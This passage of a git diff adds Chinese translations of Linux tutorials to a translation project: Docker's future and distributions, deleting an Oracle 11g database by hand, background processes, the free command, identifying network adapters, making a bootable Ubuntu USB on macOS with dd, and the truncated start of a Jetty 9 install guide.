所阐明的目标之一是“通过切换服务来源避免被特定供应商套牢”。这是通过呈现一组一致的服务(与API相关联的)来完成的,该服务会通过特定的后端服务所实现。例如 Docker 服务器将支持本地 Docker 命令行工具的 Docker 远程 API 调用,这样就可以管理一组服务供应商的容器了。 + +基于 Docker 的新服务类型仍在起步阶段。总部位于伦敦的 Orchard 实验室提供了 Docker 的托管服务,但是 Docker 公司表示,收购 Orchard 后,其相关服务不会置于优先位置。Docker 公司也出售了之前 DotCloud 的PaaS 业务给 cloudControl。基于更早的容器管理系统的服务例如 [OpenVZ][36] 已经司空见惯了,所以在一定程度上 Docker 需要向主机托管商们证明其价值。 + +### Docker 及其发行版 ### + +Docker 已经成为大多数 Linux 发行版例如 Ubuntu、Red Hat 企业版(RHEL)和 CentOS 的一个标准功能。遗憾的是这些发行版的步调和 Docker 项目并不一致,所以在发布版中找到的版本总是远远落后于最新版本。例如 Ubuntu 14.04 版本中的版本是 Docker 0.9.1,而当 Ubuntu 升级至 14.04.1 时 Docker 版本并没有随之升级(此时 Docker 已经升至 1.1.2 版本)。在发行版的软件仓库中还有一个名字空间的冲突,因为 “Docker” 也是 KDE 系统托盘的名字;所以在 Ubuntu 14.04 版本中相关安装包的名字和命令行工具都是使用“Docker.io”的名字。 + +在企业级 Linux 的世界中,情况也并没有因此而不同。CentOS 7 中的 Docker 版本是 0.11.1,这是 Docker 公司宣布准备发行 Docker 1.0 产品版本之前的开发版。Linux 发行版用户如果希望使用最新版本以保障其稳定、性能和安全,那么最好地按照 Docker 的[安装说明][37]进行,使用 Docker 公司的所提供的软件库而不是采用发行版的。 + +Docker 的到来也催生了新的 Linux 发行版,如 [CoreOS][38] 和红帽的 [Project Atomic][39],它们被设计为能运行容器的最小环境。这些发布版相比传统的发行版,带着更新的内核及 Docker 版本,对内存的使用和硬盘占用率也更低。新发行版也配备了用于大型部署的新工具,例如 [fleet][40](一个分布式初始化系统)和[etcd][41](用于元数据管理)。这些发行版也有新的自我更新机制,以便可以使用最新的内核和 Docker。这也意味着使用 Docker 的影响之一是它抛开了对发行版和相关的包管理解决方案的关注,而对 Linux 内核(及使用它的 Docker 子系统)更加关注。 + +这些新发行版也许是运行 Docker 的最好方式,但是传统的发行版和它们的包管理器对容器来说仍然是非常重要的。Docker Hub 托管的官方镜像有 Debian、Ubuntu 和 CentOS,以及一个‘半官方’的 Fedora 镜像库。RHEL 镜像在Docker Hub 中不可用,因为它是 Red Hat 直接发布的。这意味着在 Docker Hub 的自动构建机制仅仅用于那些纯开源发行版下(并愿意信任那些源于 Docker 公司团队提供的基础镜像)。 + +Docker Hub 集成了如 Git Hub 和 Bitbucket 这样源代码控制系统来自动构建包管理器,用于管理构建过程中创建的构建规范(在Dockerfile中)和生成的镜像之间的复杂关系。构建过程的不确定结果并非是 Docker 的特定问题——而与软件包管理器如何工作有关。今天构建完成的是一个版本,明天构建的可能就是更新的版本,这就是为什么软件包管理器需要升级的原因。容器抽象(较少关注容器中的内容)以及容器扩展(因为轻量级资源利用率)有可能让这种不确定性成为 Docker 的痛点。 + +### Docker 的未来 ### + +Docker 公司对核心功能(libcontainer),跨服务管理(libswarm) 和容器间的信息传递(libchan)的发展上提出了明确的路线。与此同时,该公司已经表明愿意收购 Orchard 实验室,将其纳入自身生态系统。然而 Docker 不仅仅是 Docker 公司的,这个项目的贡献者也来自许多大牌贡献者,其中不乏像谷歌、IBM 和 Red Hat 这样的大公司。在仁慈独裁者、CTO Solomon Hykes 掌舵的形势下,为公司和项目明确了技术领导关系。在前18个月的项目中通过成果输出展现了其快速行动的能力,而且这种趋势并没有减弱的迹象。 + +许多投资者正在寻找10年前 VMware 公司的 ESX/vSphere 平台的特征矩阵,并试图找出虚拟机的普及而带动的企业预期和当前 Docker 生态系统两者的距离(和机会)。目前 Docker 生态系统正缺乏类似网络、存储和(对于容器的内容的)细粒度版本管理,这些都为初创企业和创业者提供了机会。 + +随着时间的推移,在虚拟机和容器(Docker 的“运行”部分)之间的区别将变得没那么重要了,而关注点将会转移到“构建”和“交付”方面。这些变化将会使“Docker发生什么?”变得不如“Docker将会给IT产业带来什么?”那么重要了。 + + +-------------------------------------------------------------------------------- + +via: http://www.infoq.com/articles/docker-future + +作者:[Chris Swan][a] +译者:[disylee](https://github.com/disylee) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.infoq.com/author/Chris-Swan +[1]:http://blog.dotcloud.com/dotcloud-paas-joins-cloudcontrol +[2]:http://www.infoq.com/news/2014/06/docker_1.0 +[3]:https://www.kernel.org/doc/Documentation/cgroups/cgroups.txt +[4]:http://selinuxproject.org/page/Main_Page +[5]:https://linuxcontainers.org/ +[6]:http://blog.docker.com/2014/03/docker-0-9-introducing-execution-drivers-and-libcontainer/ +[7]:http://aufs.sourceforge.net/aufs.html +[8]:https://docs.docker.com/reference/builder/ +[9]:https://registry.hub.docker.com/ +[10]:http://bodenr.blogspot.co.uk/2014/05/kvm-and-docker-lxc-benchmarking-with.html?m=1 +[11]:http://domino.research.ibm.com/library/cyberdig.nsf/papers/0929052195DD819C85257D2300681E7B/$File/rc25482.pdf +[12]:https://en.wikipedia.org/wiki/X86_virtualization#Hardware-assisted_virtualization +[13]:http://stealth.openwall.net/xSports/shocker.c +[14]:https://news.ycombinator.com/item?id=7910117 +[15]:http://www.bromium.com/products/vsentry.html +[16]:http://cto.vmware.com/vmware-docker-better-together/ +[17]:http://www.infoq.com/articles/docker-containers +[18]:http://docs.docker.com/articles/using_supervisord/ +[19]:http://www.infoq.com/minibooks/emag-microservices +[20]:https://github.com/docker/libchan +[21]:https://gobyexample.com/channels +[22]:http://www.infoq.com/news/2014/08/clusterhq-launch-flocker +[23]:http://www.fig.sh/ +[24]:http://openshift.github.io/geard/ +[25]:http://panamax.io/ +[26]:http://decking.io/ +[27]:https://github.com/newrelic/centurion +[28]:https://github.com/GoogleCloudPlatform/kubernetes +[29]:https://mesosphere.io/2013/09/26/docker-on-mesos/ +[30]:http://mesos.apache.org/ +[31]:https://github.com/mesosphere/marathon +[32]:http://static.googleusercontent.com/media/research.google.com/en/us/pubs/archive/41684.pdf +[33]:http://deis.io/ +[34]:https://flynn.io/ +[35]:https://github.com/docker/libswarm +[36]:http://openvz.org/Main_Page +[37]:https://docs.docker.com/installation/#installation +[38]:https://coreos.com/ +[39]:http://www.projectatomic.io/ +[40]:https://github.com/coreos/fleet +[41]:https://github.com/coreos/etcd diff --git a/published/201501/20141204 How To Delete Oracle 11g Database Manually.md b/published/201501/20141204 How To Delete Oracle 11g Database Manually.md new file mode 100644 index 0000000000..cf236fa6ef --- /dev/null +++ b/published/201501/20141204 How To Delete Oracle 11g Database Manually.md @@ -0,0 +1,51 @@ +如何手动删除Oracle 11g数据库 +================================================================================ +下面的步骤会教你如何在Linux环境下手动删除Oracle 11g数据库。 + +我在Centos 6上安装了Oralce 11G数据库。 + +使用SQL*Plus或者其他你喜欢的命令行工具登录数据库,登录用户是**sysdba** + +输入下面的命令的到不同文件的路径: + + select name from v$datafile; + select member from v$logfile; + select name from v$controlfile; + select name from v$tempfile; + +**在SQL*Plus中关闭数据库,接着退出SQL*Plus** + + sqlplus "/ as sysdba" + +---------- + + shutdown immediate; + quit; + +**在命令行中输入下面的命令停止监听服务:** + +在Oralce Linux账户中: + + lsnrctl stop + +回忆一下之前的文件路径;在删除这些文件的时候作为一个检查项。记住:你备份了数据库了么?当准备好之后,就删除你的数据文件吧,同样还有你的日志文件、控制文件和临时文件。 + +- 进入 **$ORACLE_HOME/network/admin** 目录并删除 **tnsnames.ora** 和 **listener.ora** 文件; +- 进入 **$ORACLE_HOME/dbs** 目录并删除 **init[db_name].ora**、 **orapw[db_name]**和 **spfile[db_name].ora** 文件; +- 进入 **$ORACLE_HOME/admin/[db_name]/pfile** 目录并删除 **init[db_name].ora** 文件; +- 进入 **$ORACLE_HOME/admin/[db_name]/adump** 目录并删除所有文件; +- 编辑**/etc/oratab** 并移除以你数据库名字开头的行. + +这样就好了。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/manually-delete-oracle-11g-database/ + +作者:[M.el Khamlichi][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/pirat9/ diff --git a/published/201501/20141204 How To Run Linux Programs From The Terminal In Background Mode.md b/published/201501/20141204 How To Run Linux Programs From The Terminal In Background Mode.md new file mode 100644 index 0000000000..b346272331 --- /dev/null +++ b/published/201501/20141204 How To Run Linux Programs From The Terminal In Background Mode.md @@ -0,0 +1,88 @@ +如何在终端下以后台模式运行Linux程序 +=== + +![Linux Terminal Window.](http://0.tqn.com/y/linux/1/W/r/G/1/terminal.JPG) + +*Linux终端窗口* + +这是一个简短但是非常有用的教程:它向你展示从终端运行Linux应用程序的同时,如何保证终端仍然可以操作。 + +在Linux中有许多方式可以打开一个终端,这主要取决于你的发行版的选择和桌面环境。 + +使用Ubuntu的话,你可以使用CTRL + ALT + T组合键打开一个终端。你也可以点击超级键(Windows键)打开一个终端窗口。在键盘上,[打开Ubuntu Dash][1],然后搜索"TERM"。点击"Term"图标将会打开一个终端窗口。 + +其他诸如XFCE, KDE, LXDE, Cinnamon和MATE的桌面环境,你将会在菜单中发现“终端”这个应用。还有一些发行版会把终端图标放在菜单项,或者在面板上放置终端启动器。 + +你可以在终端里面输入一个程序的名字来启动一个应用。举例,你可以通过输入"firefox"启动火狐浏览器。 + +从终端运行程序的好处是可以使用额外的选项。 + +举个例子,如果你输入下面的命令,一个新的火狐浏览器将会打开,而且默认的搜索引擎将会搜索引号之间的词语: + + firefox -search "Linux.About.Com" + +你会发现,如果你运行火狐浏览器,应用程序打开后,控制权将会回到终端(重新出现了命令提示符),这将意味着你可以继续在终端工作。 + +通常情况下,如果你通过终端运行一个程序,程序打开后,并且直到那个程序关闭结束,你都将不会获得终端的控制权。这是因为你是在前台打开程序的。 + +想要从终端运行一个程序,并且立即将终端的控制权返回给你,你需要以后台进程的方式打开程序。 + +为了以后台进程的方式打开一个程序,只需要添加符号(&)到命令中,如下面所示: + + libreoffice & + +在终端中仅仅提供程序的名字,应用程序可能运行不了。如果程序不存在于一个设置在PATH 环境变量的文件夹中,你需要指定完整的路径名来运行程序。 + + /path/to/yourprogram & + +如果你并不确定一个程序是否存在于Linux文件系统中,使用find或者locate命令来查找该应用程序。 + +找一个文件的语法如下: + + find /path/to/start/from -name programname + +举个例子,可以使用下面的命令寻找Firefox的位置: + + find / -name firefox + +输出会很快滚动出很多,所以你可以以管道的方式控制输出的多少: + + find / -name firefox | more + + find / -name firefox | less + +find命令将会返回因权限拒绝而发生错误的文件夹数量,这些文件夹你没有权限去搜索。 + +你可以使用sudo命令提升你的权限。如果sudo没有安装,你需要切换到拥有权限的用户: + + sudo find / -name firefox | more + +如果你知道你想寻找的文件在你的当前文件夹中,你可以一个点代替先前的斜线,如下: + + sudo find . -name firefox | more + +你可能不需要sudo来提升权限。如果你在home文件夹中寻找文件,sudo就不需要。 + +一些应用程序需要提升用户权限来运行,你可能得到一个缺少权限的错误,除非你使用一个具有足够权限的用户,或者使用sudo提升你的权限。 + +下面是一个小花招。如果你运行一个程序,而且它需要提升权限来运行,输入下面命令来提升权限重新执行: + + sudo !! + +--- + +via: http://linux.about.com/od/commands/fl/How-To-Run-Linux-Programs-From-The-Terminal-In-Background-Mode.htm + +作者:[Gary Newell][a] +译者:[su-kaiyao](https://github.com/su-kaiyao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中> +国](http://linux.cn/) 荣誉推出 + +[a]:http://linux.about.com/bio/Gary-Newell-132058.htm +[1]:http://linux.about.com/od/howtos/fl/Learn-Ubuntu-The-Unity-Dash.htm +[2]:http://linux.about.com/od/commands/l/blcmdl1_locate.htm +[3]:http://linux.about.com/library/cmd/blcmdl1_less.htm +[4]:http://linux.about.com/library/cmd/blcmdl1_more.htm +[5]:http://linux.about.com/od/commands/l/blcmdl8_sudo.htm diff --git a/published/201501/20141205 10 free Commands to Check Memory Usage in Linux.md b/published/201501/20141205 10 free Commands to Check Memory Usage in Linux.md new file mode 100644 index 0000000000..e95227288c --- /dev/null +++ b/published/201501/20141205 10 free Commands to Check Memory Usage in Linux.md @@ -0,0 +1,131 @@ +检测 Linux 内存使用情况的 free 命令的10个例子 +=== + +**Linux**是最有名的开源操作系统之一,它拥有着极其巨大的命令集。确定**物理内存**和**交换内存**所有可用空间的最重要、也是唯一的方法是使用“**free**”命令。 + +Linux “**free**”命令可以给出类**Linux/Unix**操作系统中**物理内存**和**交换内存**的总使用量、可用量及内核使用的**缓冲区**情况。 + +![10 Linux Free Command Examples](http://www.tecmint.com/wp-content/uploads/2012/09/Linux-Free-commands.png) + +这篇文章提供一些各种参数选项的“**free**”命令,这些命令对于你更好地利用你的内存会有帮助。 + +### 1. 显示你的系统内存 ### + +free命令用于检测**物理内存**和**交换内存**已使用量和可用量(默认单位为**KB**)。下面演示命令的使用情况。 + + # free + + total used free shared buffers cached + Mem: 1021628 912548 109080 0 120368 655548 + -/+ buffers/cache: 136632 884996 + Swap: 4194296 0 4194296 + +### 2. 以字节为单位显示内存 ### + +加上**-b**参数的free命令,以**字节**为单位显示内存的大小。 + + # free -b + + total used free shared buffers cached + Mem: 1046147072 934420480 111726592 0 123256832 671281152 + -/+ buffers/cache: 139882496 906264576 + Swap: 4294959104 0 4294959104 + +### 3. 以千字节为单位显示内存 ### + +加上**-k**参数的free命令(默认单位,所以可以不用使用它),以(KB)**千字节**为单位显示内存大小。 + + # free -k + + total used free shared buffers cached + Mem: 1021628 912520 109108 0 120368 655548 + -/+ buffers/cache: 136604 885024 + Swap: 4194296 0 4194296 + +### 4. 以兆字节为单位显示内存 ### + +想以**(兆字节)**显示内存大小,使用**-m**参数。 + + # free -m + + total used free shared buffers cached + Mem: 997 891 106 0 117 640 + -/+ buffers/cache: 133 864 + Swap: 4095 0 4095 + +### 5. 以千兆字节为单位显示内存 ### + +使用**-g**为参数,将会以**GB(千兆字节)**为单位显示内存大小。 + + # free -g + total used free shared buffers cached + Mem: 0 0 0 0 0 0 + -/+ buffers/cache: 0 0 + Swap: 3 0 3 + +### 6. 显示总计行 ### + +加上-t选项,将会在屏幕最后列出总计一行。 + + # free -t + + total used free shared buffers cached + Mem: 1021628 912520 109108 0 120368 655548 + -/+ buffers/cache: 136604 885024 + Swap: 4194296 0 4194296 + Total: 5215924 912520 4303404 + +### 7. 关闭显示缓冲区调整一行 ### + +默认情况下,free命令是显示“**缓冲区调整**”一行的,为了关闭显示,可以加上-o参数。 + + # free -o + + total used free shared buffers cached + Mem: 1021628 912520 109108 0 120368 655548 + Swap: 4194296 0 4194296 + +### 8. 定期时间间隔更新内存状态 ### + +-s选项加上一个整数,用来在定期时间间隔内更新free命令。举个例子,下面的命令将会在每5秒更新一个free命令。 + + # free -s 5 + + total used free shared buffers cached + Mem: 1021628 912368 109260 0 120368 655548 + -/+ buffers/cache: 136452 885176 + Swap: 4194296 0 4194296 + +### 9. 显示底和高内存统计信息 ### + +-l选项显示了具体的高和低内存的使用统计情况。 + + # free -l + + total used free shared buffers cached + Mem: 1021628 912368 109260 0 120368 655548 + Low: 890036 789064 100972 + High: 131592 123304 8288 + -/+ buffers/cache: 136452 885176 + Swap: 4194296 0 4194296 + +### 10. 检查free命令版本 ### + +-V选项,显示free命令版本信息。 + + # free -V + + procps version 3.2.8 + +--- + +via: http://www.tecmint.com/check-memory-usage-in-linux/ + +作者:[Ravi Saive][a] +译者:[su-kaiyao](https://github.com/su-kaiyao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中> +国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/admin/ diff --git a/published/201501/20141205 Find Out Network Adapters Available In Ubuntu Linux.md b/published/201501/20141205 Find Out Network Adapters Available In Ubuntu Linux.md new file mode 100644 index 0000000000..b92b7cf01f --- /dev/null +++ b/published/201501/20141205 Find Out Network Adapters Available In Ubuntu Linux.md @@ -0,0 +1,100 @@ +如何在Ubuntu上找出可用的网络适配器 +================================================================================ +想知道**在Linux中你正在使用的网卡是什么吗?** 在Linux中很容易就找出网卡的生产商。打开一个终端并输入下面的额命令: + + sudo lshw -C network + +如果上面的命令不能在sudo下使用,那就别用 sudo 的特权模式。它的输出看上去有点奇怪但是很有用。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/12/Network_Adapter_Linux.jpeg) + +> *-network +> +> description: Wireless interface +> +> product: BCM4360 802.11ac Wireless Network Adapter +> +> vendor: Broadcom Corporation +> +> physical id: 0 +> +> bus info: pci@0000:03:00.0 +> +> logical name: wlan0 +> +> version: 03 +> +> serial: 9c:f3:87:c1:5d:6a +> +> width: 64 bits +> +> clock: 33MHz +> +> capabilities: bus_master cap_list ethernet physical wireless +> +> configuration: broadcast=yes driver=wl0 driverversion=6.30.223.248 (r487574) ip=192.168.1.23 latency=0 multicast=yes wireless=IEEE 802.11abg +> +> resources: irq:18 memory:b0600000-b0607fff memory:b0400000-b05fffff + +如你所见,我Macbook Air上的无线网卡是BCM4360,这是一款在Ubuntu下面很容易出现无法检测无线网络问题的网卡。 + +[lshw][1] 命令实际上死用来列出硬件的,因此命令的名字是lshw。带上网络的选项后,就会只过滤出网络硬件了。 + +### 了解网卡的其他方法 ### + +另外你还可以使用lspci命令来显示PCI总线上的信息。你不应该用特权模式来运行这个命令。只需要在命令行下输入: + + lspci + +命令的输出看上去想这样: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/12/Network_Adapter_Linux_1.jpeg) + +> 00:00.0 Host bridge: Intel Corporation Haswell-ULT DRAM Controller (rev 09) +> +> 00:02.0 VGA compatible controller: Intel Corporation Haswell-ULT Integrated Graphics Controller (rev 09) +> +> 00:03.0 Audio device: Intel Corporation Haswell-ULT HD Audio Controller (rev 09) +> +> 00:14.0 USB controller: Intel Corporation 8 Series USB xHCI HC (rev 04) +> +> 00:16.0 Communication controller: Intel Corporation 8 Series HECI #0 (rev 04) +> +> 00:1b.0 Audio device: Intel Corporation 8 Series HD Audio Controller (rev 04) +> +> 00:1c.0 PCI bridge: Intel Corporation 8 Series PCI Express Root Port 1 (rev e4) +> +> 00:1c.1 PCI bridge: Intel Corporation 8 Series PCI Express Root Port 2 (rev e4) +> +> 00:1c.2 PCI bridge: Intel Corporation 8 Series PCI Express Root Port 3 (rev e4) +> +> 00:1c.4 PCI bridge: Intel Corporation 8 Series PCI Express Root Port 5 (rev e4) +> +> 00:1c.5 PCI bridge: Intel Corporation 8 Series PCI Express Root Port 6 (rev e4) +> +> 00:1f.0 ISA bridge: Intel Corporation 8 Series LPC Controller (rev 04) +> +> 00:1f.3 SMBus: Intel Corporation 8 Series SMBus Controller (rev 04) +> +> 02:00.0 Multimedia controller: Broadcom Corporation Device 1570 +> +> 03:00.0 Network controller: Broadcom Corporation BCM4360 802.11ac Wireless Network Adapter (rev 03) +> +> 04:00.0 SATA controller: Marvell Technology Group Ltd. 88SS9183 PCIe SSD Controller (rev 14) + +这些命令会同时列出有线和无线的网卡。你应该注意到上面的输出中显示我的系统中没有有线网卡。因为我使用的是Macbook Air,它没有以太网端口 + +我希望这边文章可以帮助你找到你系统中的网卡。欢迎提出问题和建议。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/find-network-adapter-ubuntu-linux/ + +作者:[Abhishek][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://linux.die.net/man/1/lshw \ No newline at end of file diff --git a/published/201501/20141205 How To Create A Bootable Ubuntu USB Drive For Mac In OS X.md b/published/201501/20141205 How To Create A Bootable Ubuntu USB Drive For Mac In OS X.md new file mode 100644 index 0000000000..31192e9aa9 --- /dev/null +++ b/published/201501/20141205 How To Create A Bootable Ubuntu USB Drive For Mac In OS X.md @@ -0,0 +1,148 @@ +在 Mac OS X 系统中创建用于 Mac 的 Ubuntu USB 启动盘 +================================================================================ + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/11/Create_bootable_Ubuntu_USB_Mac_OS_X.jpg) + +上个月,在戴尔的服务中心丢失我的笔记本后,我买了一台 Macbook Air 笔记本。买回来后我首先做的一些事就是给机器装上双系统,使 Ubuntu Linux 和 Mac OS X 都可用。随后的文章我会介绍如何在 Macbook 上安装 Linux ,刚开始我们需要学习 **如何在 Mac OS X 系统中创建用于 Mac 的 Ubuntu USB 启动盘**。 + +在 Ubuntu 系统或 Windows 系统中创建可启动的 USB 是非常容易的,但在 Mac OS X 系统中就没这么简单了。这就是为什么 Ubuntu 的官方指南上,在 Mac 中安装 live Ubuntu 推荐使用光盘安装而不是 USB 的原因。考虑到我的 Macbook Air 既没有 CD 驱动也没有 DVD 驱动,所以我更愿意在 Mac OS X 下创建一个 live USB。 + +### 在 Mac OS X 下创建可启动 USB 驱动盘### + +如前所述,在 Mac OS X 上创建对于像 Ubuntu 或任何其它可引导的操作系统这样的可启动 USB 盘是个比较麻烦的过程。但请别担心,按照下面的步骤一步一步操作就行。让我们就开始创建一个可启动的 USB 盘的操作吧: + +#### 步骤 1: 格式化 USB 驱动盘 #### + +苹果是以它自定义的标准而闻名的,所以 Mac OS X 系统有自己的文件系统类型就毫不奇怪了,它的文件系统叫做 Mac OS 扩展或 [HFS 插件][1]。因此,您需要做的第一件事就是用 Mac OS 扩展文件系统来格式化您的 USB 驱动盘。 + +要格式化 USB 盘,请先插入 USB 盘。从 Launchpad(在底部面板上的一个火箭形状的图标)上前往**磁盘工具**应用程序。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/11/Disk_Utility_Mac.jpg) + +- 在磁盘工具中,从左手边的面板上选择你的 USB 盘来格式化。 +- 点击右边面板的**分区**标签。 +- 从下拉菜单中,选择 **1 分区**。 +- 给这驱动盘起个您想要的名字。 +- 接下来,切换分区格式为**格式化成 Mac OS 扩展 (日志型)** + +下面的截屏将会对您有所帮助。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/11/Format_Usb_Mac_4.jpg) + +在我们开始真正格式化 USB 盘之前这是唯一一件要做的操作。点击在右边面板的选项按纽,要确保分区的模式是 **GUID 分区表**形式的。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/11/Format_Usb_Mac_2.jpg) + +当所有都已经设置完了后,仅仅只需点击**应用**按纽。它会弹出一个要格式化 USB 驱动盘的警告消息,当然是要点击分区按纽来格式化 USB 驱动盘拉。 + +#### 步骤 2: 下载 Ubuntu #### + +当然,您需要下载 Ubuntu 桌面版本的 ISO 镜像文件。链接到[ Ubuntu 官网去下载您喜欢的 Ubuntu 桌面版本系统][2]。因为您使用的是 Macbook Air,我建议您下载 64 位版本中的一款。Ubuntu 14.04 是最新的 LTS 版本,我建议您们使用它。 + +#### 步骤 3: 把 ISO 格式转成 IMG 格式 #### + +您下载的文件是 ISO 格式的,但我们需要它是 IMG 格式的,使用 [hdiutil][3] 命令工具就可以很容易的转换。打开终端,也可以从 Launchpad 或 Spotlight 中打开,然后使用如下的命令就可以把 ISO 格式的转换成 IMG 格式的了: + + hdiutil convert -format UDRW -o ~/Path-to-IMG-file ~/Path-to-ISO-file + +通常下载的文件会在 ~/Downloads 目录下。所以在我的系统来,输入的命令是: + + hdiutil convert -format UDRW -o ~/Downloads/ubuntu-14.10-desktop-amd64 ~/Downloads/ubuntu-14.10-desktop-amd64.iso + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/11/ISO_to_IMG_Convert_Mac_OS_X.jpeg) + +您可能已经注意到我并没有新转换出的文件加上 IMG 后缀。这是没问题的,因为后缀只是个标志,重要的是文件类型并不是文件的扩展名。转换出来的文件可能会被 Mac OS X 系统自动加上个 .dmg 后缀。别担心,这是正常的。 + +#### 步骤 4: 获得 USB 盘的设备号 #### + +接下来的事情就是获得 USB 盘的设备号。在终端中运行如下命令: + + diskutil list + + 它会列出系统中当前可用的所有‘磁盘’信息。从它的大小上您应该能识别出此 USB 盘。为了避免混淆,我建议您只插入一个 USB 盘。我的示例中,设置号是 2 (一个大小为 8G 的 USB): /dev/disk2 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/11/Create_bootable_USB_Mac_OSX.jpeg) + +当得到设备号后,运行如下命令: + + diskutil unmountDisk /dev/diskN + +这儿的 N 就是前面您得到的 USB 的设备号。所以,我的示例中,上面的命令就变成: + + diskutil unmountDisk /dev/disk2 + +执行结果应该是:**成功的卸载 disk2 上的所有卷**。 + +#### 步骤 5: 在 Mac OS X 中创建可启动的 USB 驱动盘#### + +终于我们只有创建可启动的 USB 盘这最后一步了。我们会使用 [dd 命令][4],它非常的强大,必须得小心使用。因此,一定要记得您 USB 驱动盘的正确设备号,要不然会使 Mac OS X 系统崩溃。在终端中使用如下命令: + + sudo dd if=/Path-to-IMG-DMG-file of=/dev/rdiskN bs=1m + +这儿我们使用 dd (拷贝和转换) 来把 IMG 输入文件 (if) 拷贝和转换到 磁盘 N 中。我希望您还记得在步骤 3 中已经生成的 IMG 文件的存放位置。对我的机器来说,命令如下所示: + + sudo dd if=~/Downloads/ubuntu-14.10-desktop-amd64.dmg of=/dev/rdisk2 bs=1m + +我们用超级用户权限(sudo)来运行上面的命令,还需要您输入密码。跟 Linux 中类似,您从键盘中输入密码时,将看不到任何星号或显示的提示,不用担心,这是 Unix 终端的习惯。 + +甚至在您输入完密码后,**您都不会看到立即的输出,这是正常的**。需要一小会儿时间才会处理完成。 + +#### 步骤 6: 完成可启动 USB 驱动盘的整个处理过程 #### + +一旦 DD 命令处理完成,会弹出一个对话框:**您插入的磁盘在这机器上不可读**。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/11/Bootable_USB_3.png) + +别惊慌,一切正常。只是**现在不要点击初始化、忽略或弹出按纽**。回到终端,您会看到最新处理完成的一些信息。我的机器中显示如下: + +> 1109+1 records in +> +> 1109+1 records out +> +> 1162936320 bytes transferred in 77.611025 secs (14984164 bytes/sec) + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/11/Create_bootable_USB_Mac_OSX_1.jpeg) + +现在,在终端中使用如下命令来弹出我们的 USB 驱动盘: + + diskutil eject /dev/diskN + +N 当然指的是我们前面使用过的设备号,在我的示例中是 2 : + + diskutil eject /dev/disk2 + +一旦弹出,点击前面出现那对话框上的**忽略**按纽。现在您的可启动 USB 磁盘已经创建好了,把它拔下来吧。 + +#### 步骤 7: 检查您新创建的可启动 USB 盘 #### + +一旦您在 Mac OS X 中完成了创建一个 live USB 这么重大的任务,是时候测试您的新成果了。 + +- 插入可启动 USB 盘,重启系统。 +- 在苹果启动的时候,一直按着 option (或 alt)键。 +- 这会引导您进入启动时需要访问的可使用磁盘界面。我假设您知道接下来的操作步骤。 + +对我机器来说它显示了两个 EFI 启动盘: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/11/Ubuntu_boot_USB_Mac_OSX_1.jpeg) + +我选择第一个,然后它就会直接进入 Grub 界面: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/11/Ubuntu_boot_USB_Mac_OSX.jpeg) + +我希望这篇教程对您想要在 Mac OS X 下创建可启动的 Ubuntu 系统 USB 驱动盘有所帮助。在接下来的一篇文章中您会学到怎么样安装 OS X 和 Ubuntu 双系统。请继续关注。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/create-bootable-ubuntu-usb-drive-mac-os/ + +作者:[Abhishek][a] +译者:[runningwater](https://github.com/runningwater) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://en.wikipedia.org/wiki/HFS_Plus +[2]:http://www.ubuntu.com/download/desktop +[3]:https://developer.apple.com/library/mac/documentation/Darwin/Reference/ManPages/man1/hdiutil.1.html +[4]:http://en.wikipedia.org/wiki/Dd_%28Unix%29 \ No newline at end of file diff --git a/published/201501/20141208 Install Jetty 9 (Java servlet engine and webserver) on Ubuntu 14.10 Server.md b/published/201501/20141208 Install Jetty 9 (Java servlet engine and webserver) on Ubuntu 14.10 Server.md new file mode 100644 index 0000000000..200f28f0be --- /dev/null +++ b/published/201501/20141208 Install Jetty 9 (Java servlet engine and webserver) on Ubuntu 14.10 Server.md @@ -0,0 +1,103 @@ +Ubuntu 14.10 Server上安装Jetty 9(Java服务引擎和Web服务器) +================================================================================ +Jetty提供了一个Web服务器和javax.servlet容器,为SPDY、WebSocket、OSGi、JMX、JNDI、JAAS以及许多其它集成套件添加了支持。这些组件都是开源的,也可用于商业用途和分发。 + +Jetty被广泛用于多种项目和产品,都可以在开发环境和生产环境中使用。Jetty可以很容易地嵌入到设备、工具、框架、应用服务器以及集群中。更多用途可参见Jetty网页。 + +### Jetty特性 ### + +- 全功能并基于标准 +- 开源与商用两可 +- 灵活和可扩展 +- 小足迹 +- 可嵌入 +- 异步支持 +- 企业弹性扩展 +- Apache和Eclipse双重许可证 + +### ubuntu 14.10 server上安装Jetty 9 ### + +#### 先决条件 #### + 